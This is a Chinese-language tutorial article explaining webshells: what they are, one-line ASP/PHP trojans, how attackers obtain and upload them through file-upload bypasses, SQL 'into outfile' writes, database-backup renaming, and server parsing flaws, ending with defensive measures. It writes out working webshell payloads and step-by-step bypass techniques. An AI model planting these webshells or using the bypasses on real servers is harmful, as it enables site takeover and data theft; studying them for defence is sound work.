最近在我的黑客攻防視頻教程里多次提到了"webshell"這個名詞,很多朋友就私信問我"webshell" 究竟是什么啊?為什么很多黑客技術資料里都有提及它?
今天我們就以本篇文章內容給大家詳細介紹一下"webshell技術“!
一、 什么是webshell
1、簡介
webshell,顧名思義:"web" - 顯然需要服務器開放,"shell" - 取得對服務器某種程度上操作權限。webshell就是就是web的一個管理工具,可以對web服務器進行操作的權限,也叫webadmin。
webshell是以asp、php、jsp等網頁文件形式存在的一種命令執行環境,也稱其為一種網頁后門。一般說來,當Hacker入侵一個網站后,會把這些asp、php木馬的后門文件放在該網站的web目錄中,和正常的網頁文件混雜,其命名可能和正常的文件命名很類似,讓人無法第一眼通過文件名判斷其為后門文件。然后呢,他就可以利用web請求的方式,用asp或者php木馬后門控制網站服務器,包括上傳下載文件、查看數據庫、執行任意程序命令等一系列操作。
2、基本分類
webshell根據腳本可以分為PHP腳本木馬,ASP腳本木馬,也有基于.NET的腳本木馬和JSP腳本木馬。
根據功能分為大馬與小馬,小馬通常指的一句話木馬,例如:<%eval request("pass")%>通常把這句話寫入一個文檔里面,然后文件名改成xx.asp。然后傳到服務器上面。這里eval方法將request("pass")轉換成代碼執行,request函數的作用是應用外部文件。這相當于一句話木馬的客戶端配置。服務器配置(即本機配置):
這里通過提交表單的方式,將木馬提交上去,具體的做法是將定義一個對象IP,然后以文本方式寫入newvalue里面的內容(newvalue的內容在textarea定義),寫入以覆蓋的方式產生ASP文件,然后執行這個腳本。其中客戶端中的value代表的是表單的名字,必須跟服務端(本機)的post提交中的表單名一樣,所以這里的value可以為任意字符,相當于一個密碼之類的東西,但是這個'密碼'是明文的,可以截取下來。PHP的一句話原理跟以上的原理差不多,就是語言的差別導致語法不同。這就是小馬的基本工作原理。
大馬的工作模式簡單的多,他沒有客戶端與服務端的區別,就是一些腳本大牛直接把一句話木馬的服務端整合到了一起,通過上傳漏洞將大馬上傳,然后復制該大馬的url地址直接訪問,在頁面上執行對web服務器的滲透工作。但是有些網站對上傳文件做了嚴格的限制,因為大馬的功能較多,所以體積相對較大,很有可能超出了網站上傳限制,但是小馬的體積可以控制(比如把代碼復制很多遍,或者在一個亂碼文件中夾入代碼),但是小馬操作起來比較繁瑣,可以先上傳小馬拿到webshell,然后通過小馬的連接上傳大馬拿到服務器。
3、基本原理
可執行腳本
a.HTTP數據包($_GET、$_POST、$_COOKIES、$_SERVER[args]等)
數據傳遞
執行傳遞的數據
a.直接執行(eval、system、passthru等)
b.文件包含執行(include、require等)
c.動態函數執行($a="phpinfo";$a();)
d.Curly Syntax執行(${'ls'})
e.preg_replace(第一個參數存在'/e')
f.ob_start函數
g.回調函數(array_map等)
h.反序列化(unserialize等)
二、 webshell常見獲取方式
1、上傳漏洞獲取WebShell
首先說我們最常見的,已經講過的上傳漏洞,通過上傳一句話木馬等,獲得服務器的執行權利。
文件上傳漏洞主要有以下幾種情況:
· MIME類型繞過漏洞
· 文件擴展名繞過漏洞
· 文件內容檢測繞過類上傳漏洞
· 空字節截斷目錄路徑檢測繞過類上傳漏洞
· 我們可以將Request包的Content-type修改,就可以成功繞過了服務端MIME類型檢測,像這種服務端檢測http包的Content-type都可以用這種類似方法來繞過
檢測解析導致的文件上傳漏洞:
· IIS6.0站上的目錄路徑檢測解析繞過上傳漏洞
· Apache站上的解析缺陷繞過上傳漏洞
· htaccess文件上傳解析漏洞
這其中的技術點主要是使用Bp修改一些請求的參數,包括使用00截斷操作文件名,更改類型,當然還有二進制連接等手段。
還有一些編輯器存在漏洞導致的文件上傳,比如FCK編輯器。
2、sql注入獲取webshell
一直以來,都以為sql注入都是用來暴露和查詢關鍵信息的,其實對于數據庫操作來說,SQL注入攻擊可以獲取WebShell其實就是在向服務器寫文件。(注意:這里我們需要得到網站的絕對路徑)所有常用的關系數據庫管理系統(RDBMS)均包含內置的向服務器文件系統寫文件的功能。
MySQL:
select into outfile(dumpfile) //MySQL寫文件命令
# 例如:
select "<?php echo 'test'; ?>" into outfile "F:\www\test.php";
那么其它關系數據庫管理系統同樣的原理寫文件,就不在過多介紹了。
3、數據庫備份獲取WebShell
對于這個方法,我遇見過得就是拿到管理員賬號和密碼之后是可以登錄后臺的,雖然存在上傳的地方,但是只能是jpg圖像,這個時候必須還得將它改成.asp后綴。這里可以用到網站中的數據庫備份漏洞。在后臺的"系統管理"中提供了"數據庫備份"功能,我們可以將上傳上去的圖片文件作為要備份的數據庫,然后利用可以指定備份文件名的漏洞,把備份后的文件改名成.asp后綴。具體操作如下圖所示。
成功備份之后,記下已更名的webshell文件的路徑wwwrootadmin.adminwebshell.asp。
這里就成功地將webshell上傳到了網站,輸入URL:我們就可以訪問這個網頁了,由于他這個是個大馬所以可以這樣,我們一般的一句話木馬沒有任何內容,一般是使用中國菜刀進行連接。
4、CMS獲取WebShell
什么是CMS?
CMS是Content Management System的縮寫,意為"內容管理系統"。 內容管理系統是企業信息化建設和電子政務的新寵,也是一個相對較新的市場。對于內容管理,業界還沒有一個統一的定義,不同的機構有不同的理解。
常見的CMS有哪些?
asp平臺:動易CMS、創力CMS、科汛CMS、新云CMS;
php平臺:phpcms、織夢CMS、帝國CMS、php168 CMS;
ASP.NET平臺:Zoomla!逐浪CMS、動易CMS、風訊CMS、We7 CMS;
CMS獲取WebShell方法
公開漏洞途徑:以PHPCMS為例:
我們可以利用搜索引擎來查找互聯網上公開的通用漏洞,如果目標站點并沒有進行修復,即可輕松獲取WebShell。
代碼審計途徑:
有很多CMS其實是開源的,我們可以在官網下載到源碼,然后進行代碼審計,自己挖掘漏洞, 來獲取WebShell。
三、如何上傳webshell
1、解析漏洞上傳
現在對于不同的web服務器系統對應的有不同的web服務端程序,windows端主流的有iis,linux端主流的有Nginx。這些服務對搭建web服務器提供了很大的幫助,同樣也對服務器帶來隱患,這些服務器上都存在一些漏洞,很容易被黑客利用。
(1)iis目錄解析漏洞
比如:/xx.asp/xx.jpg
雖然上傳的是JPG文件,但是如果該文件在xx.asp文件夾下,那個iis會把這個圖片文件當成xx.asp解析,這個漏洞存在于iis5.x/6.0版本。
(2)文件解析漏洞
比如:xx.asp;.jpg。在網頁上傳的時候識別的是jpg文件,但是上傳之后iis不會解析;之后的字符,同樣會把該文件解析成asp文件,這個漏洞存在于iis5.x/6.0版本。
(3)文件名解析
比如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer文件,cdx文件,asa文件都會被當成可執行文件,里面的asp代碼也同樣會執行。(其中asa文件是asp特有的配置文件,cer為證書文件)。
(4)fast-CGI解析漏洞
在web服務器開啟fast-CGI的時候,上傳圖片xx.jpg。內容為:
1 <?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
這里使用的fput創建一個shell.php文件,并寫入一句話。訪問路徑xx.jpg/.php,就會在該路徑下生成一個一句話木馬shell.php。這個漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。語言環境:PHP,prel,Bourne Shell,C等語言。
*注:fast-CGI是CGI的升級版,CGI指的是在服務器上提供人機交互的接口,fast-CGI是一種常駐型的CGI。因為CGI每次執行時候,都需要用fork啟用一個進程,但是fast-CGI屬于激活后就一直執行,不需要每次請求都fork一個進程。比普通的CGI占的內存少。
(5)apache解析漏洞
apache解析的方式是從右向左解析,如果不能解析成功,就會想左移動一個,但是后臺上傳通常是看上傳文件的最右的一個后綴,所以根據這個,可以將馬命名為xx.php.rar,因為apache解析不了rar,所以將其解析為php,但是后臺上傳點就將其解析為rar,這樣就繞過了上傳文件后綴限制
2、截斷上傳
在上傳圖片的時候,比如命名1.asp .jpg(asp后面有個空格),在上傳的時候,用NC或者抓到表單,將上傳名asp后面加上%00(在burpsuite里面可以直接編輯HEX值,空格的HEX值為20,將20改為00),如果HEX為00的時候表示截斷,20表示空格,如果表示截斷的時候就為無視腳本中的JPG驗證語句,直接上傳ASP。
3、后臺數據庫備份
在一些企業的后臺管理系統中,里面有一項功能是備份數據庫(比如南方cms里面就有備份數據庫的功能)。可以上傳一張圖片,圖片里面含有一句話木馬,或者將大馬改成jpg格式,然后用數據庫備份功能,將這張圖片備份為asp等其他內容可以被解析為腳本語句的格式,然后再通過web訪問就可以執行木馬了,但是這種方法很老了,現在大多數的cms已經把這種備份的功能取消了,或者禁用了。
4、利用數據庫語句上傳
(1) mysql數據庫into outfile
這種方式的前提必須是該網站有相應的注入點,而且當前用戶必須要有上傳的權限,而且必須有當前網頁在服務器下的絕對路徑。方法是用聯合查詢,將一句話木馬導入到網站下邊的一個php文件中去,然后使用服務端連接該網站。但是上述方法條件過于苛刻,一般遇到的情況很少。
(2)建立新表寫入木馬
一些開源cms或者自制的webshell會有數據庫管理功能,在數據庫管理功能里面有sql查詢功能,先使用create table shell(codetext);創建一個名字叫做shell的表,表里面有列明叫做code,類型為text。然后使用insert into shell(code) values('一句話馬'),這里講shell表中的code列賦值為一句話的馬,然后通過自定義備份,將該表備份為x.php;x然后就被解析成為php然后執行了,這里不是x.php;x就一定能夠解析為php,不同的web服務器上面的服務程序不同,然后過濾規則也不同,可能會使用其他的方式。
(3)phpMyadmin設置錯誤
phpMyadmin用來管理網站數據庫的一個工具,其中config.inc.php為其配置文件,在查看的該文件的時候,如果$cfg['Servers'][$i]['auth_type']參數的值設置沒有設置(默認為config)說明在登陸數據庫的時候沒有做相應的驗證,可以直接連入數據庫,而且在Mysql在一些版本下面默認登陸都是以root用戶進行登陸(即管理員),所以登陸進去為最大權限。但是root一般只能本地登陸,所以必須創建一個遠程登陸用戶。用遠程登陸用戶登陸之后,創建一個表,然后再將一句話木馬寫入。
四、webshell的防范措施
了解了webshell的基本原理之后,最關鍵的防止器植入asp、php、jsp等木馬程序文件,使用webshell一般不會在系統日志中 留下記錄,只會在網站的web日志中留下一些數據提交記錄,沒有經驗的管理員是很難看出入侵痕跡的。我們一般可以從以下幾方面對安全性進行處理:
1、Web軟件開發的安全
A、程序中存在文件上載的,攻擊者利用漏洞上載木馬程序文件。
B、防sql注入、防暴庫、防COOKIES欺騙、防跨站腳本攻擊。
2、服務器的安全和web服務器的安全
A、服務器做好各項安全設置,病毒和木馬檢測軟件的安裝(注:webshell的木馬程序不能被該類軟件檢測到),啟動防火墻并關閉不需要的端口和服務。
B、提升web服務器的安全設置
C、對以下命令進行權限控制(以windows為例):
cmd.exe net.exe net1.exe ping.exe netstat.exe ftp.exe tftp.exe telnet.exe
3、ftp文件上載安全
設置好ftp服務器,防止攻擊者直接使用ftp上傳木馬程序文件到web程序的目錄中
4、文件系統的存儲權限
設置好web程序目錄及系統其它目錄的權限,相關目錄的寫權限只賦予給超級用戶,部分目錄寫權限賦予給系統用戶。
將web應用和上傳的任何文件(包括)分開,保持web應用的純凈,而文件的讀取可以采用分靜態文件解析服務器和web服務器兩種服務器分 別讀取(Apache/Nginx加Tomcat等web服務器),或者圖片的讀取,有程序直接讀文件,以流的形式返回到客戶端。
5、不要使用超級用戶運行web服務
對于apache、tomcat等web服務器,安裝后要以系統用戶或指定權限的用戶運行,如果系統中被植入了asp、php、等木馬程序文件,以超級用戶身份運行,webshell提權后獲得超級用戶的權限進而控制整個和計算機。
6、利用安全工具進行檢測
D盾:
本文僅代表作者個人觀點,不代表seo研究協會網官方發聲,對觀點有疑義請先聯系作者本人進行修改,